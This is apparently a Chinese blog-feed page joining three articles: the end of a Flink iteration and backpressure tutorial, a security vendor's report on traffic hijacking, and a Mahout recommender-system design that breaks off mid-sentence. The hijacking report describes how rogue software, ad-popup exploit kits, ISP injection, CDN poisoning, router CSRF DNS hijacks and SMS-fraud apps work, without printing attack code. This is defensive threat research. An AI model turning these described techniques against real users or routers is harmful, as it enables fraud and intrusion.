机器学习和图计算应用,都会使用到迭代计算,Flink通过在迭代Operator中定义Step函数来实现迭代算法,这种迭代算法包括Iterate和Delta Iterate两种类型,在实现上它们反复地在当前迭代状态上调用Step函数,直到满足给定的条件才会停止迭代。下面,对Iterate和Delta Iterate两种类型的迭代算法原理进行说明:

  • Iterate

Iterate Operator是一种简单的迭代形式:每一轮迭代,Step函数的输入或者是输入的整个数据集,或者是上一轮迭代的结果,通过该轮迭代计算出下一轮计算所需要的输入(也称为Next Partial Solution),满足迭代的终止条件后,会输出最终迭代结果,具体执行流程如下图所示:
flink-iterations-iterate-operator
Step函数在每一轮迭代中都会被执行,它可以是由map、reduce、join等Operator组成的数据流。下面通过官网给出的一个例子来说明Iterate Operator,非常简单直观,如下图所示:
flink-iterations-iterate-operator-example
上面迭代过程中,输入数据为1到5的数字,Step函数就是一个简单的map函数,会对每个输入的数字进行加1处理,而Next Partial Solution对应于经过map函数处理后的结果,比如第一轮迭代,对输入的数字1加1后结果为2,对输入的数字2加1后结果为3,直到对输入数字5加1后结果为变为6,这些新生成结果数字2~6会作为第二轮迭代的输入。迭代终止条件为进行10轮迭代,则最终的结果为11~15。

  • Delta Iterate

Delta Iterate Operator实现了增量迭代,它的实现原理如下图所示:
flink-iterations-delta-iterate-operator
基于Delta Iterate Operator实现增量迭代,它有2个输入,其中一个是初始Workset,表示输入待处理的增量Stream数据,另一个是初始Solution Set,它是经过Stream方向上Operator处理过的结果。第一轮迭代会将Step函数作用在初始Workset上,得到的计算结果Workset作为下一轮迭代的输入,同时还要增量更新初始Solution Set。如果反复迭代知道满足迭代终止条件,最后会根据Solution Set的结果,输出最终迭代结果。
比如,我们现在已知一个Solution集合中保存的是,已有的商品分类大类中购买量最多的商品,而Workset输入的是来自线上实时交易中最新达成购买的商品的人数,经过计算会生成新的商品分类大类中商品购买量最多的结果,如果某些大类中商品购买量突然增长,它需要更新Solution Set中的结果(原来购买量最多的商品,经过增量迭代计算,可能已经不是最多),最后会输出最终商品分类大类中购买量最多的商品结果集合。更详细的例子,可以参考官网给出的“Propagate Minimum in Graph”,这里不再累述。

Backpressure监控

Backpressure在流式计算系统中会比较受到关注,因为在一个Stream上进行处理的多个Operator之间,它们处理速度和方式可能非常不同,所以就存在上游Operator如果处理速度过快,下游Operator处可能机会堆积Stream记录,严重会造成处理延迟或下游Operator负载过重而崩溃(有些系统可能会丢失数据)。因此,对下游Operator处理速度跟不上的情况,如果下游Operator能够将自己处理状态传播给上游Operator,使得上游Operator处理速度慢下来就会缓解上述问题,比如通过告警的方式通知现有流处理系统存在的问题。
Flink Web界面上提供了对运行Job的Backpressure行为的监控,它通过使用Sampling线程对正在运行的Task进行堆栈跟踪采样来实现,具体实现方式如下图所示:
flink-back-pressure-sampling
JobManager会反复调用一个Job的Task运行所在线程的Thread.getStackTrace(),默认情况下,JobManager会每间隔50ms触发对一个Job的每个Task依次进行100次堆栈跟踪调用,根据调用调用结果来确定Backpressure,Flink是通过计算得到一个比值(Radio)来确定当前运行Job的Backpressure状态。在Web界面上可以看到这个Radio值,它表示在一个内部方法调用中阻塞(Stuck)的堆栈跟踪次数,例如,radio=0.01,表示100次中仅有1次方法调用阻塞。Flink目前定义了如下Backpressure状态:

  • OK: 0 <= Ratio <= 0.10
  • LOW: 0.10 < Ratio <= 0.5
  • HIGH: 0.5 < Ratio <= 1

另外,Flink还提供了3个参数来配置Backpressure监控行为:

参数名称默认值说明
jobmanager.web.backpressure.refresh-interval60000默认1分钟,表示采样统计结果刷新时间间隔
jobmanager.web.backpressure.num-samples100评估Backpressure状态,所使用的堆栈跟踪调用次数
jobmanager.web.backpressure.delay-between-samples50默认50毫秒,表示对一个Job的每个Task依次调用的时间间隔

通过上面个定义的Backpressure状态,以及调整相应的参数,可以确定当前运行的Job的状态是否正常,并且保证不影响JobManager提供服务。

参考链接

漫谈流量劫持

$
0
0

0x00 本地劫持


在鼠标点击的一刹那,流量在用户系统中流过层层节点,在路由的指引下奔向远程服务器。这段路程中短兵相接的战斗往往是最激烈的,在所有流量可能路过的节点往往都埋伏着劫持者,流量劫持的手段也层出不穷,从主页配置篡改、hosts劫持、进程Hook、启动劫持、LSP注入、浏览器插件劫持、http代理过滤、内核数据包劫持、bootkit等等不断花样翻新。或许从开机的一瞬间,流量劫持的故事就已经开始。

1. 道貌岸然的流氓软件

“网址导航”堪称国内互联网最独特的一道风景线,从hao123开始发扬光大,各大导航站开始成为互联网流量最主要的一个入口点,伴随着的是围绕导航主页链接的小尾巴(推广ID),展开的一场场惊心动魄的攻防狙击战。一方面国内安全软件对传统IE浏览器的主页防护越来越严密, 另一方面用户体验更好的第三方浏览器开始占据主流地位,国内的流氓木马为了谋求导航量也开始“另辟蹊径”。

下面讲到的案例是我们曾经捕获到的一批导航主页劫持样本,历史活跃期最早可以追溯到2014年,主要通过多类流氓软件捆绑传播,其劫持功能模块通过联网更新获取,经过多层的内存解密后再动态加载。其中的主页劫持插件模块通过修改浏览器配置文件实现主页篡改,对国内外的chrome、火狐、safari、傲游、qq、360、搜狗等20余款主流浏览器做到了全部覆盖。实现这些功能显然需要对这批浏览器的配置文件格式和加密算法做逆向分析,在样本分析过程中我们甚至发现其利用某漏洞绕过了其中2款浏览器的主页保护功能,流氓作者可谓非常“走心”,可惜是剑走偏锋。

【1】 某软件下拉加载主页劫持插件

上图就是我们在其中一款软件中抓取到的主页劫持模块文件和更新数据包,可能你对数据包里这个域名不是很熟悉,但是提到“音速启动”这款软件相信安全圈内很多人都会有所了解,当年各大安全论坛的工具包基本上都是用它来管理配置的,伴随了很多像本文作者这样的三流小黑客的学习成长,所以分析这个样本过程中还是有很多感触的,当然这些木马劫持行为可能和原作者没有太大关系,听说这款软件在停止更新几年后卖给了上海某科技公司,其旗下多款软件产品都曾被发现过流氓劫持行为,感兴趣的读者可以自行百度,这里不再进行更多的披露。

正如前面的案例,一部分曾经的老牌软件开始慢慢变质,离用户渐行渐远;另一方面,随着最近几年国内安全环境的转变,之前流行的盗号、下载者、远控等传统木马日渐式微,另外一大批披着正规软件外衣的流氓也开始兴起,他们的运作方式有以下几个特点:

1.冒充正规软件,但实际功能单一简陋,有些甚至是空壳软件,常见的诸如某某日历、天气预报、色播、输入法等五花八门的伪装形式,企图借助这些正常功能的外衣逃避安全软件的拦截,实现常驻用户系统的目的。

2.背后行为与木马病毒无异,其目的还是为了获取推广流量,如主页锁定,网页劫持、广告弹窗、流量暗刷、静默安装等等。而且其中很大一部分流氓软件的恶意模块和配置都通过云端进行下拉控制,可以做到分时段、分地区、分场景进行投放触发。

【2】 某流氓软件的云端控制后台

  1. 变种速度比较快,屡杀不止,被安全软件拦截清理后很快就会更换数字签名,甚至换个软件外壳包装后卷土重来。这些数字签名注册的企业信息很多都是流氓软件作者从其他渠道专门收购的。

【3】某流氓软件1个月内多次更换数字签名证书逃避安全软件查杀

下面可以通过几个典型案例了解下这些流氓软件进行流量劫持的技术手法:

1) 通过浏览器插件进行流量劫持的QTV系列变种,该样本针对IE浏览器通过BHO插件在用户网页中注入JS脚本,针对chrome内核的浏览器利用漏洞绕过了部分浏览器插件的正常安装步骤,通过篡改配置文件添加浏览器插件实现动态劫持。

【4】被静默安装到浏览器中的插件模块,通过JS注入劫持网页

通过注入JS脚本来劫持用户网页浏览的技术优点也很明显,一方面注入的云端JS脚本比较灵活,可以随时在云端控制修改劫持行为,另一方面对于普通用户来说非常隐蔽,难以察觉。被注入用户网页的JS脚本的对网页浏览中大部分的推广流量都进行了劫持,如下图:

【5】 在网页中注入JS劫持推广流量

2) 下面这个“高清影视流氓病毒”案例是去年曾深入跟踪的一个流氓病毒传播团伙,该类样本主要伪装成播放器类的流氓软件进行传播,技术特点如下图所示,大部分劫持模块都是驱动文件,通过动态内存加载到系统内核,实现浏览器劫持、静默推广等病毒行为。

【6】 “高清影视”木马劫持流程简图

从木马后台服务器取证的文件来看,该样本短期内传播量非常大,单日高峰达到20w+,一周累计感染用户超过100万,安装统计数据库每天的备份文件都超过1G。

【7】 “高清影视”木马后台服务器取证

2. 持续活跃的广告弹窗挂马

提到流量劫持,不得不说到近2年时间内保持高度活跃的广告弹窗挂马攻击案例,原本的广告流量被注入了网页木马,以广告弹窗等形式在客户端触发,这属于一种变相的流量劫持,更确切的说应该称之为“流量污染”或“流量投毒”,这里我们将其归类为本地劫持。

近期挂马利用的漏洞多为IE神洞(cve-2014-6332)和HackingTeam泄漏的多个Flash漏洞。通过网页挂马,流量劫持者将非常廉价的广告弹窗流量转化成了更高价格的安装量,常见的CPM、CPV等形式的广告流量每1000用户展示只有几元钱的成本,假设网页挂马的成功率有5%,这意味着劫持者获取到20个用户的安装量,平均每个用户静默安装5款软件,劫持者的收益保守估计有50元,那么“广告流量投毒”的利润率就近10倍。这应该就是近两年网页挂马事件频发背后的最大源动力。

【8】 网页木马经常使用的IE神洞(CVE-2014-6332)

【9】 网页木马利用IE浏览器的res协议检测国内主流安全软件

这些广告流量大多来自于软件弹窗、色情站点、垃圾站群、运营商劫持量等等,其中甚至不乏很多知名软件的广告流量,从我们的监测数据中发现包括酷狗音乐、搜狐影音、电信管家、暴风影音、百度影音、皮皮影音等多家知名软件厂商的广告流量被曾被劫持挂马。正是因为如此巨大的流量基数,所以一旦发生挂马事件,受到安全威胁的用户数量都是非常巨大的。

【10】 对利用客户端弹窗挂马的某病毒服务器取证发现的flash漏洞exp

据了解很多软件厂商对自身广告流量的管理监控都存在漏洞,有些甚至经过了多层代理分包,又缺乏统一有力的安全审核机制,导致被插入网页木马的“染毒流量”被大批推送到客户端,最终导致用户系统感染病毒。在样本溯源过程中,我们甚至在某知名音乐软件中发现一个专门用于暗刷广告流量的子模块。用户越多责任越大,且行且珍惜。

【11】 2015年某次挂马事件涉及的弹窗客户端进程列表

【12】 对2015年度最活跃的某挂马服务器的数据库取证(高峰期每小时5k+的安装量)

0x01 网络劫持


流量劫持的故事继续发展,当一个网络数据包成功躲开了本地主机系统上的层层围剿,离开用户主机穿行于各个路由网关节点,又开启了一段新的冒险之旅。在用户主机和远程服务器之间的道路同样是埋伏重重,数据包可能被指引向错误的终点(DNS劫持),也可能被半路冒名顶替(302重定向),或者直接被篡改(http注入)。

1. 运营商劫持

提起网络劫持往往第一个想起的就是运营商劫持,可能每一个上网的用户或多或少都曾经遇到过,电脑系统或手机用安全软件扫描没有任何异常,但是打开正常网页总是莫名其妙弹出广告或者跳转到其他网站。对普通用户来说这样的行为可以说深恶痛绝,企业和正规网站同样也深受其害,正常业务和企业形象都会受到影响,在15年年底,腾讯、小米、微博等6家互联网公司共同发表了一篇抵制运营商流量劫持的联合声明。

在我们日常的安全运营过程中也经常接到疑似运营商劫持的用户反馈,下面讲述一个非常典型的http劫持跳转案例,用户反馈打开猎豹浏览器首页点击下载就会弹出广告页面,经过我们的检测发现用户的网络被运营商劫持,打开网页的数据包中被注入了广告劫持代码。类似的案例还有很多,除了明面上的广告弹窗,还有后台静默的流量暗刷。对于普通用户来说,可能只有运营商客服投诉或工信部投诉才能让这些劫持行为稍有收敛。

【13】 用户打开网页的数据包被注入广告代码

【14】 用户任意点击网页触发广告弹窗跳转到“6间房”推广页面

这个案例劫持代码中的域名“abc.ss229.com”归属于推广广告联盟,在安全论坛和微博已有多次用户反馈,其官网号称日均PV达到2.5亿。其实运营商劫持流量的买卖其实已是圈内半公开的秘密,结合对用户上网习惯的分析,可以实现对不同地区、不同群体用户的精准定制化广告推送,感兴趣的读者可以自行搜索相关的QQ群。

【15】 公开化的运营商劫持流量买卖

缺乏安全保护的dns协议和明文传输的http流量非常容易遭到劫持,而运营商占据网络流量的必经之路,在广告劫持技术上具有先天优势,比如常见的分光镜像技术,对于普通用户和厂商来说对抗成本相对较高,另一方面国内主流的搜索引擎、导航站点、电商网站都已经开始积极拥抱更加安全的https协议,这无疑是非常可喜的转变。

【16】 常用于运营商流量劫持的分光镜像技术

wooyun平台上也曾多次曝光运营商流量劫持的案例,例如曾经被用户举报的案例“下载小米商城被劫持到UC浏览器APP”,感谢万能的白帽子深入某运营商劫持平台系统为我们揭秘内幕。

【17】 被曝光的某运营商apk下载分发劫持的管理后台

以上种种,不得不让人想起“打劫圈”最富盛名的一句浑语,“此山是我开,此树是我栽,要想过此路,留下买路财”,“买网络送广告”已经成为网络运营商的标准套餐。这些劫持流量的买卖显然不仅仅是所谓的“个别内部员工违规操作”,还是那句话,用户越多责任越大,且行且珍惜。

2. CDN缓存污染

CDN加速技术本质上是一种良性的DNS劫持,通过DNS引导将用户对服务器上的js、图片等不经常变化的静态资源的请求引导到最近的服务器上,从而加速网络访问。加速访问的良好用户体验使CDN加速被各大网站广泛使用,其中蕴含的惊人流量自然也成为流量劫持者的目标。

【18】 用户打开正常网页后跳转到“色播”诱导页面

去年我们曾多次接到用户反馈使用手机浏览器打开网页时经常被跳转到色情推广页面,经过抓包分析,发现是由于百度网盟CDN缓存服务器中的关键JS文件被污染注入广告代码,劫持代码根据user-agent头判断流量来源后针对PC、android、iso等平台进行分流弹窗,诱导用户安装“伪色播”病毒APP。

【19】 抓包分析显示百度网盟的公共JS文件被注入广告代码

【20】 劫持代码根据访问来源平台的不同进行分流,推广“伪色播”病毒app

百度网盟作为全国最大的广告联盟之一,每天的广告流量PV是都是以亿为单位的,其CDN缓存遭遇劫持产生的影响将非常广泛。通过分析我们确认全国只有个别地区的网络会遭遇此类劫持,我们也在第一时间将这个情况反馈给了友商方面,但造成缓存被劫持的原因没有得到最终反馈,是运营商中间劫持还是个别缓存服务器被入侵导致还不得而知,但是这个案例给我们的CDN服务的安全防护再一次给我们敲响警钟。

【21】 通过流量劫持推广的“伪色播”病毒APP行为流程简图

从这个案例中我们也可以看出,移动端“劫持流量”很重要的一个出口就是“伪色情”诱导,这些病毒app基本上都是通过短信暗扣、诱导支付、广告弹窗、流量暗刷以及推广安装等手段实现非法牟利。这条移动端的灰色产业链在近两年已经发展成熟,“色播”类样本也成为移动端中感染量最大的恶意app家族分类之一。

【22】 “伪色播”病毒APP进行诱导推广

这些“伪色播”病毒app安装以后除了各种广告推广行为外,还会在后台偷偷发送短信去定制多种运营商付费业务,并且对业务确认短信进行自动回复和屏蔽,防止用户察觉;有些还集成了第三方支付的SDK,以VIP充值等方式诱导用户付费,用户到头来没看到想要的“福利”不说,吃了黄连也只能是有苦难言。

【23】 某“伪色播”病毒app通过短信定制业务进行扣费的接口数据包

【24】 病毒app自动回复并屏蔽业务短信,防止用户察觉

以其中某个专门做“色播诱导”业务的广告联盟为例,其背后的推广渠道多达数百个,每年用于推广结算的财务流水超过5000w元。从其旗下的某款色播病毒app的管理后台来看,短短半年内扣费订单数据超过100w条,平均每个用户扣费金额从6~20元不等,抛开其他的流氓推广收益,仅扣费这一项的半年收益总额就过百万,而这只是海量“伪色播”病毒样本中的一个,那整个产业链的暴利收益可想而知。

【25】 某“伪色播”病毒app的扣费统计后台

【26】 某“伪色播”病毒app扣费通道的数据存储服务器

3. DNS劫持

路由器作为亿万用户网络接入的基础设备,其安全的重要性不言而喻。最近两年曝光的路由器漏洞、后门等案例比比皆是,主流路由器品牌基本上无一漏网。虽然部分厂商发布了修复补丁固件,但是普通用户很少会主动去更新升级路由器系统,所以路由器漏洞危害的持续性要远高于普通PC平台;另一方面,针对路由器的安全防护也一直是传统安全软件的空白点,用户路由器一旦中招往往无法察觉。

国内外针对路由器的攻击事件最近两年也非常频繁,我们目前发现的攻击方式主要分为两大类,一类是利用漏洞或后门获取路由器系统权限后种植僵尸木马,一般以ddos木马居多,还兼容路由器常见的arm、mips等嵌入式平台;另一类是获取路由器管理权限后篡改默认的DNS服务器设置,通过DNS劫持用户流量,一般用于广告刷量、钓鱼攻击等。

【27】 兼容多平台的路由器DDOS木马样本

下面这个案例是我们近期发现的一个非常典型的dns劫持案例,劫持者通过路由器漏洞劫持用户DNS,在用户网页中注入JS劫持代码,实现导航劫持、电商广告劫持、流量暗刷等。从劫持代码中还发现了针对d-link、tp-link、zte等品牌路由器的攻击代码,利用CSRF漏洞篡改路由器DNS设置。

【28】 路由器DNS流量劫持案例简图

【29】 针对d-link、tp-link、zte等品牌路由器的攻击代码

被篡改的恶意DNS会劫持常见导航站的静态资源域名,例如s0.hao123img.com、s0.qhimg.com等,劫持者会在网页引用的jquery库中注入JS代码,以实现后续的劫持行为。由于页面缓存的原因,通过JS缓存投毒还可以实现长期隐蔽劫持。

【30】 常见的导航站点域名被劫持

【31】 网站引用的jquery库中被注入恶意代码

被注入页面的劫持代码多用来进行广告暗刷和电商流量劫持,从发现的数十个劫持JS文件代码的历史变化中,可以看出作者一直在不断尝试测试改进不同的劫持方式。

【32】 劫持代码进行各大电商广告的暗刷

【33】 在网页中注入CPS广告,跳转到自己的电商导流平台

我们对劫持者的流量统计后台进行了简单的跟踪,从51la的数据统计来看,劫持流量还是非常惊人的,日均PV在200w左右,在2015年末的高峰期甚至达到800w左右,劫持者的暴利收益不难想象。

【34】 DNS流量劫持者使用的51啦统计后台

最近两年DNS劫持活动非常频繁,恶意DNS数量增长也非常迅速,我们监测到的每年新增恶意DNS服务器就多达上百个。针对路由器的劫持攻击案例也不仅仅发生在国内,从蜜罐系统和小范围漏洞探测结果中,我们也捕获到了多起全球范围内的路由器DNS攻击案例。

【35】 DNS流量劫持者使用的51啦统计后台

【36】 在国外地区发现的一例路由器CSRF漏洞“全家桶”,被利用的攻击playload多达20多种

下面的案例是2016年初我们的蜜罐系统捕获到一类针对路由器漏洞的扫描攻击,随后我们尝试进行溯源和影响评估,在对某邻国的部分活跃IP段进行小范围的扫描探测后,发现大批量的路由器被暴露在外网,其中存在漏洞的路由器有30%左右被篡改了DNS设置。

抛开劫持广告流量牟利不谈,如果要对一个国家或地区的网络进行大批量的渗透或破坏,以目前路由器的千疮百孔安全现状,无疑可以作为很适合的一个突破口,这并不是危言耸听。

如下图中漏洞路由器首选DNS被设置为劫持服务器IP,备选DNS服务器设为谷歌公共DNS(8.8.8.8)。

【37】 邻国某网段中大量存在漏洞的路由器被劫持DNS设置

【38】 各种存在漏洞的路由器被劫持DNS设置

4. 神秘劫持

以一个神秘的劫持案例作为故事的结尾,在工作中曾经陆续遇到过多次神秘样本,仿佛是隐藏在层层网络中的黑暗幽灵,不知道它从哪里来,也不知道它截获的信息最终流向哪里,留给我们的只有迷一般的背影。

这批迷一样的样本已经默默存活了很久,我们捕获到早期变种可以追溯到12年左右。下面我们先把这个迷的开头补充下,这些样本绝大多数来自于某些可能被劫持的网络节点,请静静看图。

【39】 某软件升级数据包正常状态与异常状态对比

【40】 某软件升级过程中的抓包数据

我们在15年初的时候捕获到了其中一类样本的新变种,除了迷一样的传播方式,样本本身还有很多非常有意思的技术细节,限于篇幅这里只能放1张内部分享的分析截图,虽然高清但是有码,同样老规矩静静看图。

【41】 神秘样本技术分析简图

0x02 尾记


流量圈的故事还有很多,劫持与反劫持的故事在很长时间内还将继续演绎下去。流量是很多互联网企业赖以生存的基础,通过优秀的产品去获得用户和流量是唯一的正途,用户的信任来之不易,且行且珍惜。文章到此暂告一段落,有感兴趣的地方欢迎留言讨论。

引用

http://wooyun.org/bugs/wooyun-2010-0168329

商品搜索引擎—推荐系统设计

$
0
0

一、前言

结合目前已存在的商品推荐设计(如淘宝、京东等),推荐系统主要包含系统推荐和个性化推荐两个模块。

系统推荐: 根据大众行为的推荐引擎,对每个用户都给出同样的推荐,这些推荐可以是静态的由系统管理员人工设定的,或者基于系统所有用户的反馈统计计算出的当下比较流行的物品。

个性化推荐:对不同的用户,根据他们的口味和喜好给出更加精确的推荐,这时,系统需要了解需推荐内容和用户的特质,或者基于社会化网络,通过找到与当前用户相同喜好的用户,实现推荐。

下面具体介绍系统推荐和个性化推荐的设计方案。

二、系统推荐

2.1、系统推荐目的

针对所有用户推荐,当前比较流行的商品(必选) 或 促销实惠商品(可选) 或 新上市商品(可选),以促进商品的销售量。
PS:根据我们的应用情况考虑是否 选择推荐 促销实惠商品 和 新上市商品。(TODO1)

2.2、实现方式

实现方式包含:系统自动化推荐 和 人工设置推荐。

(1)系统自动化推荐考虑因素有:商品发布时间、商品分类、库存余量、历史被购买数量、历史被加入购物车数量、历史被浏览数量、降价幅度等。根据我们当前可用数据,再进一步确定(TODO2)

(2)人工设置:提供运营页面供运营人员设置,设置包含排行位置、开始时间和结束时间、推荐介绍等等。

由于系统推荐实现相对简单,因此不作过多的文字说明,下面详细介绍个性化推荐的设计。

三、个性化推荐

3.1、个性化推荐目的

对不同的用户,根据他们的口味和喜好给出更加精确的推荐,系统需要了解需推荐内容和用户的特质,或者基于社会化网络,通过找到与当前用户相同喜好的用户,实现推荐,以促进商品的销售量。

3.2、三种推荐模式的介绍

据推荐引擎的数据源有三种模式:基于人口统计学的推荐、基于内容的推荐、基于协同过滤的推荐。

(1)基于人口统计学的推荐:针对用户的“性别、年龄范围、收入情况、学历、专业、职业”进行推荐。

(2)基于内容的推荐:如下图,这里没有考虑人对物品的态度,仅仅是因为电影A月电影C相似,因此将电影C推荐给用户A。这是与后面讲到的协同过滤推荐最大的不同。

这里写图片描述

(3)基于协同过滤的推荐:如下图,这里我们并不知道物品A和物品D是否相似,仅仅考虑人对物品的喜好进行推荐。

这里写图片描述

模式采用:这三种模式可以单独使用,也可结合使用。结合我们实际情况,采用基于协同过滤的推荐更加合适,看后期情况是否结合另外两种模式实现推荐。但基于协同过滤的推荐这种模式,会引发“冷启动”问题。关于,冷启动问题,后续会讨论解决方案。

3.3、用户喜好设计

(1)判断用户喜好因素:历史购买、历史购物车、历史搜索、历史浏览等,待确定我们可用数据再进一步细化。

(2)用户对某个商品的喜好程度,通过不同行为对应不同分值权重,如:历史购买(10)、历史购物车(8)、历史搜索(5)、历史浏览(6),确定用户喜好因素后再进一步对各个因素评分权重进行 合理的设计。

(3)用户对商品的喜好程度最终体现:结合某个商品的不同行为 统计出 最终对该商品的喜好程度,即对商品的喜好程度,最终以一个数字体现。

3.4、Mahout介绍

目前选择采用协同过滤框架Mahout进行实现。

Mahout 是一个很强大的数据挖掘工具,是一个分布式 机器学习算法的集合,包括:被称为Taste的分布式协同过滤的实现、分类、聚类等。Mahout最大的优点就是基于 Hadoop实现,把很多以前运行于单机上的算法,转化为了MapReduce模式,这样大大提升了算法可处理的数据量和处理性能。

Mahout 是一个布式机器学习算法的集合,但是这里我们只使用到它的推荐/协同过滤算法。

3.5、Mahout实现协同过滤实例

协同过滤在mahout里是由一个叫taste的引擎提供的, 它提供两种模式,一种是以jar包形式嵌入到程序里在进程内运行,另外一种是MapReduce Job形式在hadoop上运行。这两种方式使用的算法是一样的,配置也类似。

这里我们采用第一种引入jar包的单机模式。

3.5.1、依赖

<dependency><groupId>org.apache.mahout</groupId><artifactId>mahout-core</artifactId><version>0.9</version></dependency><dependency><groupId>org.apache.mahout</groupId><artifactId>mahout-math</artifactId><version>0.9</version></dependency><dependency><groupId>org.apache.hadoop</groupId><artifactId>hadoop-core</artifactId><version>1.2.1</version></dependency>

3.5.2、实现代码

public static void main(String[] args) {
    try {
        // 从文件加载数据
        DataModel model = new FileDataModel(new File("D:\\mahout\\data.csv"));
        // 指定用户相似度计算方法,这里采用皮尔森相关度
        UserSimilarity similarity = new PearsonCorrelationSimilarity(model);
        // 指定用户邻居数量,这里为2
        UserNeighborhood neighborhood = new NearestNUserNeighborhood(2,
                similarity, model);
        // 构建基于用户的推荐系统
        Recommender recommender = new GenericUserBasedRecommender(model,
                neighborhood, similarity);
        // 得到指定用户的推荐结果,这里是得到用户1的两个推荐
        List<RecommendedItem> recommendations = recommender.recommend(1, 2);
        // 打印推荐结果
        for (RecommendedItem recommendation : recommendations) {
            System.out.println(recommendation);
        }
    } catch (Exception e) {
        System.out.println(e);
    }
}

3.5.3、data.csv内容(用户id、商品id,评分)

1,101,5
1,102,3
1,103,2.5
2,101,2
2,102,2.5
2,103,5
2,104,2
3,101,2.5
3,104,4
3,105,4.5
3,107,5
4,101,5
4,103,3
4,104,4.5
4,106,4
5,101,4
5,102,3
5,103,2
5,104,4
5,105,3.5
5,106,4

3.5.4、运行结果

这里写图片描述

3.6、Mahout协同过滤算法选用

3.6.1、Mahout协同过滤自带算法介绍

Mahout算法框架自带的推荐器有下面这些:

GenericUserBasedRecommender:基于用户的推荐器,用户数量少时速度快;

GenericItemBasedRecommender:基于商品推荐器,商品数量少时速度快,尤其当外部提供了商品相似度数据后效率更好;

SlopeOneRecommender:基于slope-one算法的推荐器,在线推荐或更新较快,需要事先大量预处理运算,物品数量少时较好;

SVDRecommender:奇异值分解,推荐效果较好,但之前需要大量预处理运算;

KnnRecommender:基于k近邻算法(KNN),适合于物品数量较小时;

TreeClusteringRecommender:基于聚类的推荐器,在线推荐较快,之前需要大量预处理运算,用户数量较少时效果好;

Mahout最常用的三个推荐器是上述的前三个,本文主要讨论前两种的使用。

3.6.2、考虑使用算法

(1)GenericUserBasedRecommender(推荐)

一个很简单的user-based模式的推荐器实现类,根据传入的DataModel和UserNeighborhood进行推荐。其推荐流程分成三步:

第一步,使用UserNeighborhood获取跟指定用户Ui最相似的K个用户{U1…Uk};

第二步,{U1…Uk}喜欢的item集合中排除掉Ui喜欢的item, 得到一个item集合 {Item0…Itemm}

第三步,对{Item0…Itemm}每个itemj计算 Ui可能喜欢的程度值perf(Ui , Itemj) ,并把item按这个数值从高到低排序,把前N个item推荐给Ui。其中perf(Ui , Itemj)的计算公式如下:

其中 是用户Ul对Itemj的喜好值。

(2)GenericItemBasedRecommender

一个简单的item-based的推荐器,根据传入的DateModel和ItemSimilarity去推荐。基于Item的相似度计算比基于User的相似度计算有个好处是,item数量较少,计算量也就少了,另外item之间的相似度比较固定,所以相似度可以事先算好,这样可以大幅提高推荐的速度。

其推荐流程可以分成三步:

第一步,获取用户Ui喜好的item集合{It1…Itm}

第二步,使用MostSimilarItemsCandidateItemsStrategy(有多种策略, 功能类似UserNeighborhood) 获取跟用户喜好集合里每个item最相似的其他Item构成集合 {Item1…Itemk};

第三步,对{Item1…Itemk}里的每个itemj计算 Ui可能喜欢的程度值perf(Ui , Itemj) ,并把item按这个数值从高到低排序,把前N个Item推荐给Ui。其中perf(Ui , Itemj)的计算公式如下:

其中 是用户Ul对Iteml的喜好值。

(3)SlopeOneRecommender

基于Slopeone算法的推荐器,Slopeone算法适用于用户对item的打分是具体数值的情况。Slopeone算法不同于前面提到的基于相似度的算法,他计算简单快速,对新用户推荐效果不错,数据更新和扩展性都很不错,预测能达到和基于相似度的算法差不多的效果,很适合在实际项目中使用。

综合考虑,我们使用GenericUserBasedRecommender(基于用户的推荐器)比较合适。3.5、Mahout实现协同过滤实例 就是采用这种算法实现的。

3.7、Mahout数据源获取方式

DataModel 是用户喜好信息的抽象接口,它的具体实现支持从任意类型的数据源抽取用户喜好信息。Taste 默认提供 JDBCDataModel 和 FileDataModel,分别支持从 数据库和文件中读取用户的喜好信息。

目前,Mahout为DataModel提供了以下几种实现:

org.apache.mahout.cf.taste.impl.model.GenericDataModel
org.apache.mahout.cf.taste.impl.model.GenericBooleanPrefDataModel
org.apache.mahout.cf.taste.impl.model.PlusAnonymousUserDataModel
org.apache.mahout.cf.taste.impl.model.file.FileDataModel
org.apache.mahout.cf.taste.impl.model. HBase.HBaseDataModel
org.apache.mahout.cf.taste.impl.model.cassandra.CassandraDataModel
org.apache.mahout.cf.taste.impl.model.mongodb.MongoDBDataModel
org.apache.mahout.cf.taste.impl.model.jdbc.SQL92JDBCDataModel
org.apache.mahout.cf.taste.impl.model.jdbc.MySQLJDBCDataModel
org.apache.mahout.cf.taste.impl.model.jdbc.PostgreSQLJDBCDataModel
org.apache.mahout.cf.taste.impl.model.jdbc.GenericJDBCDataModel
org.apache.mahout.cf.taste.impl.model.jdbc.SQL92BooleanPrefJDBCDataModel
org.apache.mahout.cf.taste.impl.model.jdbc.MySQLBooleanPrefJDBCDataModel
org.apache.mahout.cf.taste.impl.model.jdbc.PostgreBooleanPrefSQLJDBCDataModel
org.apache.mahout.cf.taste.impl.model.jdbc.ReloadFromJDBCDataModel

从类名上就可以大概猜出来每个DataModel的用途,但是竟然没有HDFS的DataModel,有人实现了一个,请参考MAHOUT-1579( https://issues.apache.org/jira/browse/MAHOUT-1579)。

3.8、协同过滤实现采用技术

采用如下技术:Mahout(推荐算法) +  Spark(并行计算) + Hadoop + Elasticsearch

Mahout 是一个很强大的数据挖掘工具,是一个分布式机器学习算法的集合,包括:被称为Taste的分布式协同过滤的实现、分类、聚类等。Mahout最大的优点就是基于hadoop实现,把很多以前运行于单机上的算法,转化为了MapReduce模式,这样大大提升了算法可处理的数据量和处理性能。

Spark是UC Berkeley AMP lab所开源的类Hadoop MapReduce的通用的并行计算框架,Spark基于map reduce算法实现的分布式计算,拥有Hadoop MapReduce所具有的优点;但不同于MapReduce的是Job中间输出结果可以保存在内存中,从而不再需要读写HDFS,因此Spark能更好地适用于数据挖掘与机器学习等需要迭代的map reduce的算法。

但Spark没有提供文件管理系统,所以,它必须和其他的分布式文件系统进行集成才能运作。这里我们可以选择Hadoop的HDFS,也可以选择其他的基于云的数据系统平台。但Spark默认来说还是被用在Hadoop上面的,毕竟,大家都认为它们的结合是最好的。

PS:Mahout(推荐算法) + Spark(并行计算) + Hadoop + Elasticsearch搭配的实现方式并没有尝试,网上有一些解决方案,但是并不详细,而且英文居多,因此需要进一步学习研究。

可参考文献: https://mahout.apache.org/users/algorithms/intro-cooccurrence-spark.html

3.9、冷启动问题

所谓冷启动,是指对于很多推荐引擎的开始阶段,当一个新用户进入推荐系统或者系统添加一个新的物品后,由于还没有大量的用户数据,系统无法计算出推荐模型,从而导致系统的推荐功能失效的问题。

可考虑的解决方案有:

